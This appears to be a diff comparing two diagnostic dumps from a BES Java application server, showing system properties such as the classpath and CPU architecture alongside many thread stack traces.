java.class.path: /opt/bes/lib/bootstrap/bes-logger.jar:/opt/bes/lib/bootstrap/bes-common-core.jar:/opt/bes/lib/bootstrap/bes-gmssl.jar:/opt/bes/lib/bootstrap/bootstrap.jar:/opt/bes/lib/bootstrap/bes-config-parser.jar:/opt/bes/lib/bootstrap/bes-config-serverbeans.jar:/opt/bes/lib/bootstrap/bes-license.jar:/opt/bes/lib/bootstrap/bes-patch.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.woodstox-core-asl_4.4.1.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-codec_1.10.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-logging_1.1.3.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.stax2-api_3.1.4.jar
|
||||||
com.bes.instanceRoot: /opt/bes
|
com.bes.instanceRoot: /opt/bes
|
||||||
java.vm.specification.name: Java Virtual Machine Specification
|
java.vm.specification.name: Java Virtual Machine Specification
|
||||||
com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToSkip: bes-server-jpa-integration,bes-jdbcra,org.codehaus.woodstox.stax2-api,bes-web-glue,org.metatype.sxc.sxc-jaxb-core,commons-lang,besmq-ra,bes-webapp-compressor,derbyclient,bes-ejb-glue,bes-deployment,org.apache.xbean.xbean-reflect,bes-admin-command,org.apache.johnzon.johnzon,org.apache.openwebbeans.openwebbeans-ee-common,bes-connector-runtime,org.apache.commons.commons-codec,bes-ee-loader,org.codehaus.woodstox.woodstox-core-asl,javaee,javaee-api-endorsed,bes-config-remote-adapter,bes-descriptor,bes-server-internal,bes-logger,bes-webtier-util,bes-webtier-coyote,javax.persistence,bes-webtier-jsp-api,bes-gmcert,bes-ee-integration,bes-engine,bootstrap,bes-jdbc-fastcp,bes-patch,commons-codec,org.apache.bval-core,org.mozilla.rhino,bes-launcher,bes-server-api,org.apache.bval-jsr,xmpcore-,bes-server-jee-accessors,commons-beanutils,org.apache.myfaces.core.myfaces-api,org.apache.openwebbeans.openwebbeans-jsf,org.objectweb.howl.howl,bes-webtier-servlet-api,besmq-mgmt,org.apache.xbean.xbean-naming,bes-server-loader,org.apache.commons.commons-cli,org.apache.geronimo.specs.geronimo-osgi-locator,bes-distributed-session-core,org.apache.openwebbeans.openwebbeans-web,bes-webtier-jasper,bes-config-remote,bes-gmssl-adapter,org.apache.commons.commons-pool2,bes-config-serverbeans,bes-server-quartz-shade,org.apache.xbean.xbean-finder-shaded,bes-ee-myfaces-connector,commons-dbcp,commons-io,bes-server-client,bes-server-http,org.apache.openwebbeans.openwebbeans-ejb,org.codehaus.swizzle.swizzle-stream,bes-monitor,derby,commons-logging,bes-server-ejbd,bes-deployment-common,bes-config-parser,metadata-extractor,org.metatype.sxc.sxc-runtime,bes-logger-adapter,org.hsqldb.hsqldb,org.apache.commons.commons-lang3,commons-collections,bes-jmx-remote,bes-cli-command,bes-command-api,bes-connector-transaction,org.eclipse.jdt.ecj,commons-digester,bes-server-core,bes-api,activation,commons-fileupload,org.apache.openwebbeans.openwebbeans-el22,besmq-client,org.eclipse.persistence.eclipselink,bes-ee-common,bes-server-javaagent,com.sun.xml.bind.jaxb,org.apache.openwebbeans.openwebbeans-impl,bes-license,org.apache.xbean.xbean-bundleutils,org.apache.commons.commons-logging,javax.mail,org.apache.openwebbeans.openwebbeans-spi,bes-engine-ha,org.slf4j.slf4j-jdk14,org.apache.commons.commons-collections,org.apache.openwebbeans.openwebbeans-ee,org.ow2.asm.asm-all,besmq-common,bes-websocket-api,org.apache.commons.commons-beanutils-core,org.apache.xbean.xbean-asm5-shaded,ant,commons-httpclient,bes-webtier-el-api,bes-server-jee,mbean-annotation-api,bes-gmssl,bes-ee-mq-connector,bes-common-util,bes-server-rest,org.apache.commons.commons-digester,bes-websocket
|
com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToSkip: bes-server-jpa-integration,bes-jdbcra,org.codehaus.woodstox.stax2-api,bes-web-glue,org.metatype.sxc.sxc-jaxb-core,commons-lang,besmq-ra,bes-webapp-compressor,derbyclient,bes-ejb-glue,bes-deployment,org.apache.xbean.xbean-reflect,bes-admin-command,org.apache.johnzon.johnzon,org.apache.openwebbeans.openwebbeans-ee-common,bes-connector-runtime,org.apache.commons.commons-codec,bes-ee-loader,org.codehaus.woodstox.woodstox-core-asl,javaee,javaee-api-endorsed,bes-config-remote-adapter,bes-descriptor,bes-server-internal,bes-logger,bes-webtier-util,bes-webtier-coyote,javax.persistence,bes-webtier-jsp-api,bes-gmcert,bes-ee-integration,bes-engine,bootstrap,bes-jdbc-fastcp,bes-patch,commons-codec,org.apache.bval-core,org.mozilla.rhino,bes-launcher,bes-server-api,org.apache.bval-jsr,xmpcore-,bes-server-jee-accessors,commons-beanutils,org.apache.myfaces.core.myfaces-api,org.apache.openwebbeans.openwebbeans-jsf,org.objectweb.howl.howl,bes-webtier-servlet-api,besmq-mgmt,org.apache.xbean.xbean-naming,bes-server-loader,org.apache.commons.commons-cli,org.apache.geronimo.specs.geronimo-osgi-locator,bes-distributed-session-core,org.apache.openwebbeans.openwebbeans-web,bes-webtier-jasper,bes-config-remote,bes-gmssl-adapter,org.apache.commons.commons-pool2,bes-config-serverbeans,bes-server-quartz-shade,org.apache.xbean.xbean-finder-shaded,bes-ee-myfaces-connector,commons-dbcp,commons-io,bes-server-client,bes-server-http,org.apache.openwebbeans.openwebbeans-ejb,org.codehaus.swizzle.swizzle-stream,bes-monitor,derby,commons-logging,bes-server-ejbd,bes-deployment-common,bes-config-parser,metadata-extractor,org.metatype.sxc.sxc-runtime,bes-logger-adapter,org.hsqldb.hsqldb,org.apache.commons.commons-lang3,commons-collections,bes-jmx-remote,bes-cli-command,bes-command-api,bes-connector-transaction,org.eclipse.jdt.ecj,commons-digester,bes-server-core,bes-api,activation,commons-fileupload,org.apache.openwebbeans.openwebbeans-el22,besmq-client,org.eclipse.persistence.eclipselink,bes-ee-common,bes-server-javaagent,com.sun.xml.bind.jaxb,org.apache.openwebbeans.openwebbeans-impl,bes-license,org.apache.xbean.xbean-bundleutils,org.apache.commons.commons-logging,javax.mail,org.apache.openwebbeans.openwebbeans-spi,bes-engine-ha,org.slf4j.slf4j-jdk14,org.apache.commons.commons-collections,org.apache.openwebbeans.openwebbeans-ee,org.ow2.asm.asm-all,besmq-common,bes-websocket-api,org.apache.commons.commons-beanutils-core,org.apache.xbean.xbean-asm5-shaded,ant,commons-httpclient,bes-webtier-el-api,bes-server-jee,mbean-annotation-api,bes-gmssl,bes-ee-mq-connector,bes-common-util,bes-server-rest,org.apache.commons.commons-digester,bes-websocket
|
||||||
@@ -88,7 +88,7 @@ java.awt.headless: true
|
|||||||
java.io.tmpdir: /tmp
|
java.io.tmpdir: /tmp
|
||||||
java.vendor.url.bug: http://bugreport.sun.com/bugreport/
|
java.vendor.url.bug: http://bugreport.sun.com/bugreport/
|
||||||
server.loader:
|
server.loader:
|
||||||
os.arch: aarch64
|
os.arch: amd64
|
||||||
java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
|
java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
|
||||||
bes.version: 9.5.5
|
bes.version: 9.5.5
|
||||||
com.bes.enterprise.embedder.source: ServerListener
|
com.bes.enterprise.embedder.source: ServerListener
|
||||||
@@ -110,70 +110,16 @@ java.specification.version: 1.8
|
|||||||
===========================================
|
===========================================
|
||||||
|
|
||||||
ThreadStacks:
|
ThreadStacks:
|
||||||
"Spark_2" #94 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7
|
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].DefaultContext[/sysapp]]" #83 daemon [TIMED_WAITING]
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
|
||||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
|
||||||
|
|
||||||
"LifecycleThread[com.bes.appserv]-1" #67 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6b5836e3
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"httpWorkerThread-1900-4" #72 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e5ab5ec
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"AcceptorThread-8080-1" #85 daemon [RUNNABLE]
|
|
||||||
java.lang.Thread.State: RUNNABLE
|
|
||||||
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
|
|
||||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
|
|
||||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
|
|
||||||
at com.bes.enterprise.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:504)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"httpWorkerThread-8080-3" #75 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].DefaultContext[]]" #88 daemon [TIMED_WAITING]
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
at java.lang.Thread.sleep(Native Method)
|
at java.lang.Thread.sleep(Native Method)
|
||||||
at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
|
at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[server].DefaultContext[/app]]" #107 daemon [TIMED_WAITING]
|
"FlushManager" #53 daemon [TIMED_WAITING]
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
at java.lang.Thread.sleep(Native Method)
|
at java.lang.Thread.sleep(Native Method)
|
||||||
at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
|
at com.bes.org.objectweb.howl.log.LogBufferManager$FlushManager.run(LogBufferManager.java:1230)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"ReadWriteBlockThread-1" #18 daemon [RUNNABLE]
|
"ReadWriteBlockThread-1" #18 daemon [RUNNABLE]
|
||||||
java.lang.Thread.State: RUNNABLE
|
java.lang.Thread.State: RUNNABLE
|
||||||
@@ -184,73 +130,12 @@ ThreadStacks:
|
|||||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||||
at com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:296)
|
at com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:296)
|
||||||
|
|
||||||
"Spark_0" #92 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1f3ebe1f
|
"GC Daemon" #16 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@3e0f54d9
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2163)
|
|
||||||
at com.bes.ejb.spark.tcp.threadpool.PreSelector.execute(PreSelector.java:120)
|
|
||||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:69)
|
|
||||||
|
|
||||||
"httpWorkerThread-1900-1" #69 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e5ab5ec
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"RMI TCP Connection(1)-192.168.215.4" #102 daemon [RUNNABLE]
|
|
||||||
java.lang.Thread.State: RUNNABLE
|
|
||||||
at java.net.SocketInputStream.socketRead0(Native Method)
|
|
||||||
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
|
|
||||||
at java.net.SocketInputStream.read(SocketInputStream.java:171)
|
|
||||||
at java.net.SocketInputStream.read(SocketInputStream.java:141)
|
|
||||||
at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
|
|
||||||
at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
|
|
||||||
at java.io.FilterInputStream.read(FilterInputStream.java:83)
|
|
||||||
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
|
|
||||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
|
|
||||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
|
|
||||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$24/725479086.run(Unknown Source)
|
|
||||||
at java.security.AccessController.doPrivileged(Native Method)
|
|
||||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"jmsra-WorkerThread-4" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@357b6c35
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"Spark_7" #99 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
|
||||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
|
||||||
|
|
||||||
"GC Daemon" #16 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@4e754aa3
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
at java.lang.Object.wait(Native Method)
|
at java.lang.Object.wait(Native Method)
|
||||||
at sun.misc.GC$Daemon.run(GC.java:117)
|
at sun.misc.GC$Daemon.run(GC.java:117)
|
||||||
|
|
||||||
"httpWorkerThread-8080-4" #76 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971
|
"jmsra-WorkerThread-4" #58 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1efc550f
|
||||||
java.lang.Thread.State: WAITING
|
java.lang.Thread.State: WAITING
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
@@ -264,23 +149,58 @@ ThreadStacks:
|
|||||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"RMI TCP Accept-6600" #100 daemon [RUNNABLE]
|
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@13cb25b2
|
||||||
java.lang.Thread.State: RUNNABLE
|
java.lang.Thread.State: WAITING
|
||||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
at java.lang.Object.wait(Native Method)
|
||||||
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||||
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
|
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
|
||||||
at java.net.ServerSocket.accept(ServerSocket.java:528)
|
at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216)
|
||||||
at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405)
|
|
||||||
at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
|
"httpWorkerThread-8080-2" #68 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37938687
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv]]" #68 daemon [TIMED_WAITING]
|
"Stateful cache" #59 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@73feb530
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||||
|
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
||||||
|
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[server].DefaultContext[/app]]" #101 daemon [TIMED_WAITING]
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
at java.lang.Thread.sleep(Native Method)
|
at java.lang.Thread.sleep(Native Method)
|
||||||
at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
|
at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"AsyncLoggerDisruptor-1" #14 daemon [TIMED_WAITING] on java.lang.Object@2a2fdcad
|
"RMI Scheduler(0)" #97 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@fd6d26d
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||||
|
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
||||||
|
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"AsyncLoggerDisruptor-1" #14 daemon [TIMED_WAITING] on java.lang.Object@457a9090
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
at java.lang.Object.wait(Native Method)
|
at java.lang.Object.wait(Native Method)
|
||||||
at java.lang.Object.wait(Object.java:460)
|
at java.lang.Object.wait(Object.java:460)
|
||||||
@@ -291,45 +211,109 @@ ThreadStacks:
|
|||||||
at com.bes.enterprise.base.disruptor.BatchEventProcessor.run(BatchEventProcessor.java:125)
|
at com.bes.enterprise.base.disruptor.BatchEventProcessor.run(BatchEventProcessor.java:125)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@408b41b1
|
"httpWorkerThread-8080-3" #69 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37938687
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"httpWorkerThread-1900-2" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e769106
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
